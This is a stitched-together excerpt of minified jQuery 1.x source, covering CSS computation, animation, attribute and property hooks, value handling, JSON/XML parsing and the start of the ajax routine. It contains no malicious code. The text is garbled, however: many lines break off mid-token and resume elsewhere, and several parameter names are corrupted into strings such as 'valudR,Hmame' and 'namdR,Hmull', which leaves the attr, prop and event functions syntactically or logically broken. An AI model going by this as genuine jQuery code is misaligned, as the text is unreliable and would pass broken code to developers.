return shrinkWrapBlocksVal;shrinkWrapBlocksVal=!1;var div,body,container;body=document.getElementsByTagName("body")[0];if(body&&body.style){div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1";div.appendChild(document.createElement("div")).style.width="5px";shrinkWrapBlocksVal=3!==div.offsetWidth}
body.removeChild(container);return shrinkWrapBlocksVal}}}();var getStyles,curCSS,rmargin=/^margin/,rnumnonpx=new RegExp("^("+pnum+")(?!px)[a-z%]+$","i"),rposition=/^(top|right|bottom|left)$/;if(window.getComputedStyle){getStyles=function(elem){return elem.ownerDocument.defaultView.opener?elem.ownerDocument.defaultView.getComputedStyle(elem,null):window.getComputedStyle(elem,null)};curCSS=function(elem,name,computed){var width,minWidth,maxWidth,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed.getPropertyValue(name)||computed[name]:void 0;if(computed){""!==ret||jQuery.contains(elem.ownerDocument,elem)||(ret=jQuery.style(elem,name));if(rnumnonpx.test(ret)&&rmargin.test(name)){width=style.width;minWidth=style.minWidth;maxWidth=style.maxWidth;style.minWidth=style.maxWidth=style.width=ret;ret=computed.width;style.width=width;style.minWidth=minWidth;style.maxWidth=maxWidth}}
return void 0===ret?ret:ret+""}}else if(document.documentElement.currentStyle){getStyles=function(elem){return elem.currentStyle};curCSS=function(elem,name,computed){var left,rs,rsLeft,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed[name]:void 0;null==ret&&style&&style[name]&&(ret=style[name]);if(rnumnonpx.test(ret)&&!rposition.test(name)){left=style.left;rs=elem.runtimeStyle;rsLeft=rs&&rs.left;rsLeft&&(rs.left=elem.currentStyle.left);style.left="fontSize"===name?"1em":ret;ret=style.pixelLeft+"px";style.left=left;rsLeft&&(rs.left=rsLeft)}
return void 0===ret?ret:ret+""||"auto"}}
!function(){function computeStyleTests(){var div,body,container,contents;body=document.getElementsByTagName("body")[0];if(body&&body.style){div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);div.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute";pixelPositionVal=boxSizingReliableVal=!1;reliableMarginRightVal=!0;if(window.getComputedStyle){pixelPositionVal="1%"!==(window.getComputedStyle(div,null)||{}).top;boxSizingReliableVal="4px"===(window.getComputedStyle(div,null)||{"width":"4px"}).width;contents=div.appendChild(document.createElement("div"));contents.style.cssText=div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0";contents.style.ma
div.innerHTML="<table><tr><td></td><td>t</td></tr></table>";contents=div.getElementsByTagName("td");contents[0].style.cssText="margin:0;border:0;padding:0;display:none";reliableHiddenOffsetsVal=0===contents[0].offsetHeight;if(reliableHiddenOffsetsVal){contents[0].style.display="";contents[1].style.display="none";reliableHiddenOffsetsVal=0===contents[0].offsetHeight}
body.removeChild(container)}}
var div,style,a,pixelPositionVal,boxSizingReliableVal,reliableHiddenOffsetsVal,reliableMarginRightVal;div=document.createElement("div");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];style=a&&a.style;if(style){style.cssText="float:left;opacity:.5";support.opacity="0.5"===style.opacity;support.cssFloat=!!style.cssFloat;div.style.backgroundClip="content-box";div.cloneNode(!0).style.backgroundClip="";support.clearCloneStyle="content-box"===div.style.backgroundClip;support.boxSizing=""===style.boxSizing||""===style.MozBoxSizing||""===style.WebkitBoxSizing;jQuery.extend(support,{"reliableHiddenOffsets":function(){null==reliableHiddenOffsetsVal&&computeStyleTests();return reliableHiddenOffsetsVal},"boxSizingReliable":function(){null==boxSizingReliableVal&&computeStyleTests();return boxSizingReliableVal},"pixelPosition":function(){null==pixelPositionVal&&computeStyleTests();return pixelPositionVal},"reliableMarginRight":function(){null==reliableM
ret=callback.apply(elem,args||[]);for(name in options)
elem.style[name]=old[name];return ret};var ralpha=/alpha\([^)]*\)/i,ropacity=/opacity\s*=\s*([^)]*)/,rdisplayswap=/^(none|table(?!-c[ea]).+)/,rnumsplit=new RegExp("^("+pnum+")(.*)$","i"),rrelNum=new RegExp("^([+-])=("+pnum+")","i"),cssShow={"position":"absolute","visibility":"hidden","display":"block"},cssNormalTransform={"letterSpacing":"0","fontWeight":"400"},cssPrefixes=["Webkit","O","Moz","ms"];jQuery.extend({"cssHooks":{"opacity":{"get":function(elem,computed){if(computed){var ret=curCSS(elem,"opacity");return""===ret?"1":ret}}}},"cssNumber":{"columnCount":!0,"fillOpacity":!0,"flexGrow":!0,"flexShrink":!0,"fontWeight":!0,"lineHeight":!0,"opacity":!0,"order":!0,"orphans":!0,"widows":!0,"zIndex":!0,"zoom":!0},"cssProps":{"float":support.cssFloat?"cssFloat":"styleFloat"},"style":function(elem,name,value,extra){if(elem&&3!==elem.nodeType&&8!==elem.nodeType&&elem.style){var ret,type,hooks,origName=jQuery.camelCase(name),style=elem.style;name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName
return hooks&&"get"in hooks&&void 0!==(ret=hooks.get(elem,!1,extra))?ret:style[name];type=typeof value;if("string"===type&&(ret=rrelNum.exec(value))){value=(ret[1]+1)*ret[2]+parseFloat(jQuery.css(elem,name));type="number"}
if(null!=value&&value===value){"number"!==type||jQuery.cssNumber[origName]||(value+="px");support.clearCloneStyle||""!==value||0!==name.indexOf("background")||(style[name]="inherit");if(!(hooks&&"set"in hooks&&void 0===(value=hooks.set(elem,value,extra))))
try{style[name]=value}catch(e){}}}},"css":function(elem,name,extra,styles){var num,val,hooks,origName=jQuery.camelCase(name);name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(elem.style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];hooks&&"get"in hooks&&(val=hooks.get(elem,!0,extra));void 0===val&&(val=curCSS(elem,name,styles));"normal"===val&&name in cssNormalTransform&&(val=cssNormalTransform[name]);if(""===extra||extra){num=parseFloat(val);return!0===extra||jQuery.isNumeric(num)?num||0:val}
return val}});jQuery.each(["height","width"],function(i,name){jQuery.cssHooks[name]={"get":function(elem,computed,extra){if(computed)
return rdisplayswap.test(jQuery.css(elem,"display"))&&0===elem.offsetWidth?jQuery.swap(elem,cssShow,function(){return getWidthOrHeight(elem,name,extra)}):getWidthOrHeight(elem,name,extra)},"set":function(elem,value,extra){var styles=extra&&getStyles(elem);return setPositiveNumber(elem,value,extra?augmentWidthOrHeight(elem,name,extra,support.boxSizing&&"border-box"===jQuery.css(elem,"boxSizing",!1,styles),styles):0)}}});support.opacity||(jQuery.cssHooks.opacity={"get":function(elem,computed){return ropacity.test((computed&&elem.currentStyle?elem.currentStyle.filter:elem.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":computed?"1":""},"set":function(elem,value){var style=elem.style,currentStyle=elem.currentStyle,opacity=jQuery.isNumeric(value)?"alpha(opacity="+100*value+")":"",filter=currentStyle&&currentStyle.filter||style.filter||"";style.zoom=1;if((value>=1||""===value)&&""===jQuery.trim(filter.replace(ralpha,""))&&style.removeAttribute){style.removeAttribute("filter");if(""===value||currentStyle&&!currentSt
return}
style.filter=ralpha.test(filter)?filter.replace(ralpha,opacity):filter+" "+opacity}});jQuery.cssHooks.marginRight=addGetHookIf(support.reliableMarginRight,function(elem,computed){if(computed)
return jQuery.swap(elem,{"display":"inline-block"},curCSS,[elem,"marginRight"])});jQuery.each({"margin":"","padding":"","border":"Width"},function(prefix,suffix){jQuery.cssHooks[prefix+suffix]={"expand":function(value){for(var i=0,expanded={},parts="string"==typeof value?value.split(" "):[value];i<4;i++)
expanded[prefix+cssExpand[i]+suffix]=parts[i]||parts[i-2]||parts[0];return expanded}};rmargin.test(prefix)||(jQuery.cssHooks[prefix+suffix].set=setPositiveNumber)});jQuery.fn.extend({"css":function(name,value){return access(this,function(elem,name,value){var styles,len,map={},i=0;if(jQuery.isArray(name)){styles=getStyles(elem);len=name.length;for(;i<len;i++)
map[name[i]]=jQuery.css(elem,name[i],!1,styles);return map}
return void 0!==value?jQuery.style(elem,name,value):jQuery.css(elem,name)},name,value,arguments.length>1)},"show":function(){return showHide(this,!0)},"hide":function(){return showHide(this)},"toggle":function(state){return"boolean"==typeof state?state?this.show():this.hide():this.each(function(){isHidden(this)?jQuery(this).show():jQuery(this).hide()})}});jQuery.Tween=Tween;Tween.prototype={"constructor":Tween,"init":function(elem,options,prop,end,easing,unit){this.elem=elem;this.prop=prop;this.easing=easing||"swing";this.options=options;this.start=this.now=this.cur();this.end=end;this.unit=unit||(jQuery.cssNumber[prop]?"":"px")},"cur":function(){var hooks=Tween.propHooks[this.prop];return hooks&&hooks.get?hooks.get(this):Tween.propHooks._default.get(this)},"run":function(percent){var eased,hooks=Tween.propHooks[this.prop];this.options.duration?this.pos=eased=jQuery.easing[this.easing](percent,this.options.duration*percent,0,1,this.options.duration):this.pos=eased=percent;this.now=(this.end-this.start)*eased+
return tween.elem[tween.prop];result=jQuery.css(tween.elem,tween.prop,"");return result&&"auto"!==result?result:0},"set":function(tween){jQuery.fx.step[tween.prop]?jQuery.fx.step[tween.prop](tween):tween.elem.style&&(null!=tween.elem.style[jQuery.cssProps[tween.prop]]||jQuery.cssHooks[tween.prop])?jQuery.style(tween.elem,tween.prop,tween.now+tween.unit):tween.elem[tween.prop]=tween.now}}};Tween.propHooks.scrollTop=Tween.propHooks.scrollLeft={"set":function(tween){tween.elem.nodeType&&tween.elem.parentNode&&(tween.elem[tween.prop]=tween.now)}};jQuery.easing={"linear":function(p){return p},"swing":function(p){return.5-Math.cos(p*Math.PI)/2}};jQuery.fx=Tween.prototype.init;jQuery.fx.step={};var fxNow,timerId,rfxtypes=/^(?:toggle|show|hide)$/,rfxnum=new RegExp("^(?:([+-])=|)("+pnum+")([a-z%]*)$","i"),rrun=/queueHooks$/,animationPrefilters=[defaultPrefilter],tweeners={"*":[function(prop,value){var tween=this.createTween(prop,value),target=tween.cur(),parts=rfxnum.exec(value),unit=parts&&parts[3]||(jQuery.cssNumber
if(parts){start=tween.start=+start||+target||0;tween.unit=unit;tween.end=parts[1]?start+(parts[1]+1)*parts[2]:+parts[2]}
return tween}]};jQuery.Animation=jQuery.extend(Animation,{"tweener":function(props,callback){if(jQuery.isFunction(props)){callback=props;props=["*"]}else
props=props.split(" ");for(var prop,index=0,length=props.length;index<length;index++){prop=props[index];tweeners[prop]=tweeners[prop]||[];tweeners[prop].unshift(callback)}},"prefilter":function(callback,prepend){prepend?animationPrefilters.unshift(callback):animationPrefilters.push(callback)}});jQuery.speed=function(speed,easing,fn){var opt=speed&&"object"==typeof speed?jQuery.extend({},speed):{"complete":fn||!fn&&easing||jQuery.isFunction(speed)&&speed,"duration":speed,"easing":fn&&easing||easing&&!jQuery.isFunction(easing)&&easing};opt.duration=jQuery.fx.off?0:"number"==typeof opt.duration?opt.duration:opt.duration in jQuery.fx.speeds?jQuery.fx.speeds[opt.duration]:jQuery.fx.speeds._default;null!=opt.queue&&!0!==opt.queue||(opt.queue="fx");opt.old=opt.complete;opt.complete=function(){jQuery.isFunction(opt.old)&&opt.old.call(this);opt.queue&&jQuery.dequeue(this,opt.queue)};return opt};jQuery.fn.extend({"fadeTo":function(speed,to,easing,callback){return this.filter(isHidden).css("opacity",0).show().end().anim
clearQueue&&!1!==type&&this.queue(type||"fx",[]);return this.each(function(){var dequeue=!0,index=null!=type&&type+"queueHooks",timers=jQuery.timers,data=jQuery._data(this);if(index)
data[index]&&data[index].stop&&stopQueue(data[index]);else
for(index in data)
data[index]&&data[index].stop&&rrun.test(index)&&stopQueue(data[index]);for(index=timers.length;index--;)
if(timers[index].elem===this&&(null==type||timers[index].queue===type)){timers[index].anim.stop(gotoEnd);dequeue=!1;timers.splice(index,1)}
!dequeue&&gotoEnd||jQuery.dequeue(this,type)})},"finish":function(type){!1!==type&&(type=type||"fx");return this.each(function(){var index,data=jQuery._data(this),queue=data[type+"queue"],hooks=data[type+"queueHooks"],timers=jQuery.timers,length=queue?queue.length:0;data.finish=!0;jQuery.queue(this,type,[]);hooks&&hooks.stop&&hooks.stop.call(this,!0);for(index=timers.length;index--;)
if(timers[index].elem===this&&timers[index].queue===type){timers[index].anim.stop(!0);timers.splice(index,1)}
for(index=0;index<length;index++)
queue[index]&&queue[index].finish&&queue[index].finish.call(this);delete data.finish})}});jQuery.each(["toggle","show","hide"],function(i,name){var cssFn=jQuery.fn[name];jQuery.fn[name]=function(speed,easing,callback){return null==speed||"boolean"==typeof speed?cssFn.apply(this,arguments):this.animate(genFx(name,!0),speed,easing,callback)}});jQuery.each({"slideDown":genFx("show"),"slideUp":genFx("hide"),"slideToggle":genFx("toggle"),"fadeIn":{"opacity":"show"},"fadeOut":{"opacity":"hide"},"fadeToggle":{"opacity":"toggle"}},function(name,props){jQuery.fn[name]=function(speed,easing,callback){return this.animate(props,speed,easing,callback)}});jQuery.timers=[];jQuery.fx.tick=function(){var timer,timers=jQuery.timers,i=0;fxNow=jQuery.now();for(;i<timers.length;i++){timer=timers[i];timer()||timers[i]!==timer||timers.splice(i--,1)}
timers.length||jQuery.fx.stop();fxNow=void 0};jQuery.fx.timer=function(timer){jQuery.timers.push(timer);timer()?jQuery.fx.start():jQuery.timers.pop()};jQuery.fx.interval=13;jQuery.fx.start=function(){timerId||(timerId=setInterval(jQuery.fx.tick,jQuery.fx.interval))};jQuery.fx.stop=function(){clearInterval(timerId);timerId=null};jQuery.fx.speeds={"slow":600,"fast":200,"_default":400};jQuery.fn.delay=function(time,type){time=jQuery.fx?jQuery.fx.speeds[time]||time:time;type=type||"fx";return this.queue(type,function(next,hooks){var timeout=setTimeout(next,time);hooks.stop=function(){clearTimeout(timeout)}})};!function(){var input,div,select,a,opt;div=document.createElement("div");div.setAttribute("className","t");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];select=document.createElement("select");opt=select.appendChild(document.createElement("option"));input=div.getElementsByTagName("input")[0];a.style.cssText="top:1px";support.getSetAttrib
if(elem){hooks=jQuery.valHooks[elem.type]||jQuery.valHooks[elem.nodeName.toLowerCase()];if(hooks&&"get"in hooks&&void 0!==(ret=hooks.get(elem,"value")))
return ret;ret=elem.value;return"string"==typeof ret?ret.replace(rreturn,""):null==ret?"":ret}}});jQuery.extend({"valHooks":{"option":{"get":function(elem){var val=jQuery.find.attr(elem,"value");return null!=val?val:jQuery.trim(jQuery.text(elem))}},"select":{"get":function(elem){for(var value,option,options=elem.options,index=elem.selectedIndex,one="select-one"===elem.type||index<0,values=one?null:[],max=one?index+1:options.length,i=index<0?max:one?index:0;i<max;i++){option=options[i];if((option.selected||i===index)&&(support.optDisabled?!option.disabled:null===option.getAttribute("disabled"))&&(!option.parentNode.disabled||!jQuery.nodeName(option.parentNode,"optgroup"))){value=jQuery(option).val();if(one)
return value;values.push(value)}}
return values},"set":function(elem,value){for(var optionSet,option,options=elem.options,values=jQuery.makeArray(value),i=options.length;i--;){option=options[i];if(jQuery.inArray(jQuery.valHooks.option.get(option),values)>=0)
try{option.selected=optionSet=!0}catch(_){option.scrollHeight}
option.selected=!1}
optionSet||(elem.selectedIndex=-1);return options}}}});jQuery.each(["radio","checkbox"],function(){jQuery.valHooks[this]={"set":function(elem,value){if(jQuery.isArray(value))
return elem.checked=jQuery.inArray(jQuery(elem).val(),value)>=0}};support.checkOn||(jQuery.valHooks[this].get=function(elem){return null===elem.getAttribute("value")?"on":elem.value})});var nodeHook,boolHook,attrHandle=jQuery.expr.attrHandle,ruseDefault=/^(?:checked|selected)$/i,getSetAttribute=support.getSetAttribute,getSetInput=support.input;jQuery.fn.extend({"attr":function(name,value){return access(this,jQuery.attr,name,value,arguments.length>1)},"removeAttr":function(name){return this.each(function(){jQuery.removeAttr(this,name)})}});jQuery.extend({"attr":function(elem,name,value){var hooks,ret,nType=elem.nodeType;if(elem&&3!==nType&&8!==nType&&2!==nType){if(typeof elem.getAttribute===strundefined)
return jQuery.prop(elem,name,value);if(1!==nType||!jQuery.isXMLDoc(elem)){name=name.toLowerCase();hooks=jQuery.attrHooks[name]||(jQuery.expr.match.bool.test(name)?boolHook:nodeHook)}
if(void 0===value){if(hooks&&"get"in hooks&&null!==(ret=hooks.get(elem,name)))
return ret;ret=jQuery.find.attr(elem,name);return null==ret?void 0:ret}
if(null!==value){if(hooks&&"set"in hooks&&void 0!==(ret=hooks.set(elem,valudR,Hmame)))
return ret;elem.setAttribute(name,value+"");return value}
jQuery.removeAttr(elem,name)}},"removeAttr":function(elem,value){var name,propName,i=0,attrNames=value&&value.match(rnotwhite);if(attrNames&&1===elem.nodeType)
for(;name=attrNames[i++];){propName=jQuery.propFix[name]||name;jQuery.expr.match.bool.test(name)?getSetInput&&getSetAttribute||!ruseDefault.test(name)?elem[propName]=!1:elem[jQuery.camelCase("default-"+name)]=elem[propName]=!1:jQuery.attr(elem,name,"");elem.removeAttribute(getSetAttribute?name:propName)}},"attrHooks":{"type":{"set":function(elem,value){if(!support.radioValue&&"radio"===value&&jQuery.nodeName(elem,"input")){var val=elem.value;elem.setAttribute("type",value);val&&(elem.value=val);return value}}}}});boolHook={"set":function(elem,valudR,Hmame){!1===value?jQuery.removeAttr(elem,name):getSetInput&&getSetAttribute||!ruseDefault.test(name)?elem.setAttribute(!getSetAttribute&&jQuery.propFix[name]||namdR,Hmame):elem[jQuery.camelCase("default-"+name)]=elem[name]=!0;return name}};jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g),function(i,name){var getter=attrHandle[name]||jQuery.find.attr;attrHandle[name]=getSetInput&&getSetAttribute||!ruseDefault.test(name)?function(elem,name,isXML){var ret,hand
return ret}:function(elem,name,isXML){if(!isXML)
return elem[jQuery.camelCase("default-"+name)]?name.toLowerCase():null}});getSetInput&&getSetAttribute||(jQuery.attrHooks.value={"set":function(elem,valudR,Hmame){if(!jQuery.nodeName(elem,"input"))
return nodeHook&&nodeHook.set(elem,valudR,Hmame);elem.defaultValue=value}});if(!getSetAttribute){nodeHook={"set":function(elem,valudR,Hmame){var ret=elem.getAttributeNode(name);ret||elem.setAttributeNode(ret=elem.ownerDocument.createAttribute(name));ret.value=value+="";if("value"===name||value===elem.getAttribute(name))
return value}};attrHandle.id=attrHandle.name=attrHandle.coords=function(elem,name,isXML){var ret;if(!isXML)
return(ret=elem.getAttributeNode(name))&&""!==ret.value?ret.value:null};jQuery.valHooks.button={"get":function(elem,name){var ret=elem.getAttributeNode(name);if(ret&&ret.specified)
return ret.value},"set":nodeHook.set};jQuery.attrHooks.contenteditable={"set":function(elem,valudR,Hmame){nodeHook.set(elem,""!==value&&valudR,Hmame)}};jQuery.each(["width","height"],function(i,name){jQuery.attrHooks[name]={"set":function(elem,value){if(""===value){elem.setAttribute(name,"auto");return value}}}})}
support.style||(jQuery.attrHooks.style={"get":function(elem){return elem.style.cssText||void 0},"set":function(elem,value){return elem.style.cssText=value+""}});var rfocusable=/^(?:input|select|textarea|button|object)$/i,rclickable=/^(?:a|area)$/i;jQuery.fn.extend({"prop":function(name,value){return access(this,jQuery.prop,name,value,arguments.length>1)},"removeProp":function(name){name=jQuery.propFix[name]||name;return this.each(function(){try{this[name]=void 0;delete this[name]}catch(e){}})}});jQuery.extend({"propFix":{"for":"htmlFor","class":"className"},"prop":function(elem,name,value){var ret,hooks,notxml,nType=elem.nodeType;if(elem&&3!==nType&&8!==nType&&2!==nType){notxml=1!==nType||!jQuery.isXMLDoc(elem);if(notxml){name=jQuery.propFix[name]||name;hooks=jQuery.propHooks[name]}
return void 0!==value?hooks&&"set"in hooks&&void 0!==(ret=hooks.set(elem,valudR,Hmame))?ret:elem[name]=value:hooks&&"get"in hooks&&null!==(ret=hooks.get(elem,name))?ret:elem[name]}},"propHooks":{"tabIndex":{"get":function(elem){var tabindex=jQuery.find.attr(elem,"tabindex");return tabindex?parseInt(tabindex,10):rfocusable.test(elem.nodeName)||rclickable.test(elem.nodeName)&&elem.href?0:-1}}}});support.hrefNormalized||jQuery.each(["href","src"],function(i,name){jQuery.propHooks[name]={"get":function(elem){return elem.getAttribute(name,4)}}});support.optSelected||(jQuery.propHooks.selected={"get":function(elem){var parent=elem.parentNode;if(parent){parent.selectedIndex;parent.parentNode&&parent.parentNode.selectedIndex}
return null}});jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});support.enctype||(jQuery.propFix.enctype="encoding");var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({"addClass":function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed="string"==typeof value&&value;if(jQuery.isFunction(value))
return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))});if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=1===elem.nodeType&&(elem.className?(" "+elem.className+" ").replace(rclass," "):" ");if(cur){j=0;for(;clazz=classes[j++];)
cur.indexOf(" "+clazz+" ")<0&&(cur+=clazz+" ");finalValue=jQuery.trim(cur);elem.className!==finalValue&&(elem.className=finalValue)}}}
return this},"removeClass":function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=0===arguments.length||"string"==typeof value&&value;if(jQuery.isFunction(value))
return this.each(function(j){jQuery(this).removeClass(value.call(this,j,this.className))});if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=1===elem.nodeType&&(elem.className?(" "+elem.className+" ").replace(rclass," "):"");if(cur){j=0;for(;clazz=classes[j++];)
for(;cur.indexOf(" "+clazz+" ")>=0;)
cur=cur.replace(" "+clazz+" "," ");finalValue=value?jQuery.trim(cur):"";elem.className!==finalValue&&(elem.className=finalValue)}}}
return this},"toggleClass":function(value,stateVal){var type=typeof value;return"boolean"==typeof stateVal&&"string"===type?stateVal?this.addClass(value):this.removeClass(value):jQuery.isFunction(value)?this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)}):this.each(function(){if("string"===type)
for(var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];className=classNames[i++];)
self.hasClass(className)?self.removeClass(className):self.addClass(className);else if(type===strundefined||"boolean"===type){this.className&&jQuery._data(this,"__className__",this.className);this.className=this.className||!1===value?"":jQuery._data(this,"__className__")||""}})},"hasClass":function(selector){for(var className=" "+selector+" ",i=0,l=this.length;i<l;i++)
if(1===this[i].nodeType&&(" "+this[i].className+" ").replace(rclass," ").indexOf(className)>=0)
return!0;return!1}});jQuery.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(namdR,Hmull,data,fn):this.trigger(name)}});jQuery.fn.extend({"hover":function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},"bind":function(types,data,fn){return this.on(types,null,data,fn)},"unbind":function(types,fn){return this.off(types,null,fn)},"delegate":function(selector,types,data,fn){return this.on(types,selector,data,fn)},"undelegate":function(selector,types,fn){return 1===arguments.length?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now(),rquery=/\?/,rvalidtokens=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;jQuery.parseJSON=functi
return window.JSON.parse(data+"");var requireNonComma,depth=null,str=jQuery.trim(data+"");return str&&!jQuery.trim(str.replace(rvalidtokens,function(token,comma,open,close){requireNonComma&&comma&&(depth=0);if(0===depth)
return token;requireNonComma=open||comma;depth+=!close-!open;return""}))?Function("return "+str)():jQuery.error("Invalid JSON: "+data)};jQuery.parseXML=function(data){var xml,tmp;if(!data||"string"!=typeof data)
return null;try{if(window.DOMParser){tmp=new DOMParser;xml=tmp.parseFromString(data,"text/xml")}else{xml=new ActiveXObject("Microsoft.XMLDOM");xml.async="false";xml.loadXML(data)}}catch(e){xml=void 0}
xml&&xml.documentElement&&!xml.getElementsByTagName("parsererror").length||jQuery.error("Invalid XML: "+data);return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}
ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];jQuery.extend({"active":0,"lastModified":{},"etag":{},"ajaxSettings":{"url":ajaxLocation,"type":"GET","isLocal":rlocalProtocol.test(ajaxLocParts[1]),"global":!0,"processData":!0,"async":!0,"contentType":"application/x-www-form-urlencoded; charset=UTF-8","accepts":{"*":allTypes,"text":"text/plain","html":"text/html","xml":"application/xml, text/xml","json":"application/json, text/javascript"},"contents":{"xml":/xml/,"html":/html/,"json":/json/},"responseFields":{"xml":"responseXML","text":"responseText","json":"responseJSON"},"converters":{"* text":String,"text html":!0,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},"flatOptions":{"url":!0,"context":!0}},"ajaxSetup":function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},"ajaxPrefilter":addToPrefiltersOrTransports(prefilters),"ajaxTransport":addToPrefiltersOrTransports(transports),"ajax":function(url,options){fu
if(204===status||"HEAD"===s.type)
statusText="nocontent";else if(304===status)
statusText="notmodified";else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}else{error=statusText;if(status||!statusText){statusText="error";status<0&&(status=0)}}
jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";isSuccess?deferred.resolveWith(callbackContext,[success,statusText,jqXHR]):deferred.rejectWith(callbackContext,[jqXHR,statusText,error]);jqXHR.statusCode(statusCode);statusCode=void 0;fireGlobals&&globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error]);completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);--jQuery.active||jQuery.event.trigger("ajaxStop")}}}
if("object"==typeof url){options=url;url=void 0}
options=options||{};var parts,i,cacheURL,responseHeadersString,timeoutTimer,fireGlobals,transport,responseHeaders,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={"readyState":0,"getResponseHeader":function(key){var match;if(2===state){if(!responseHeaders){responseHeaders={};for(;match=rheaders.exec(responseHeadersString);)
responseHeaders[match[1].toLowerCase()]=match[2]}
match=responseHeaders[key.toLowerCase()]}
return null==match?null:match},"getAllResponseHeaders":function(){return 2===state?responseHeadersString:null},"setRequestHeader":function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}
return this},"overrideMimeType":function(type){state||(s.mimeType=type);return this},"statusCode":function(map){var code;if(map)
if(state<2)
for(code in map)
statusCode[code]=[statusCode[code],map[code]];else
jqXHR.always(map[jqXHR.status]);return this},"abort":function(statusText){var finalText=statusText||strAbort;transport&&transport.abort(finalText);done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(null==s.crossDomain){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!(!parts||parts[1]===ajaxLocParts[1]&&parts[2]===ajaxLocParts[2]&&(parts[3]||("http:"===parts[1]?"80":"443"))===(ajaxLocParts[3]||("http:"===ajaxLocParts[1]?"80":"443")))}
s.data&&s.processData&&"string"!=typeof s.data&&(s.data=jQuery.param(s.data,s.traditional));inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(2===state)
return jqXHR;fireGlobals=jQuery.event&&s.global;fireGlobals&&0==jQuery.active++&&jQuery.event.trigger("ajaxStart");s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=s.url+=(rquery.test(cacheURL)?"&":"?")+s.data;delete s.data}
!1===s.cache&&(s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++)}
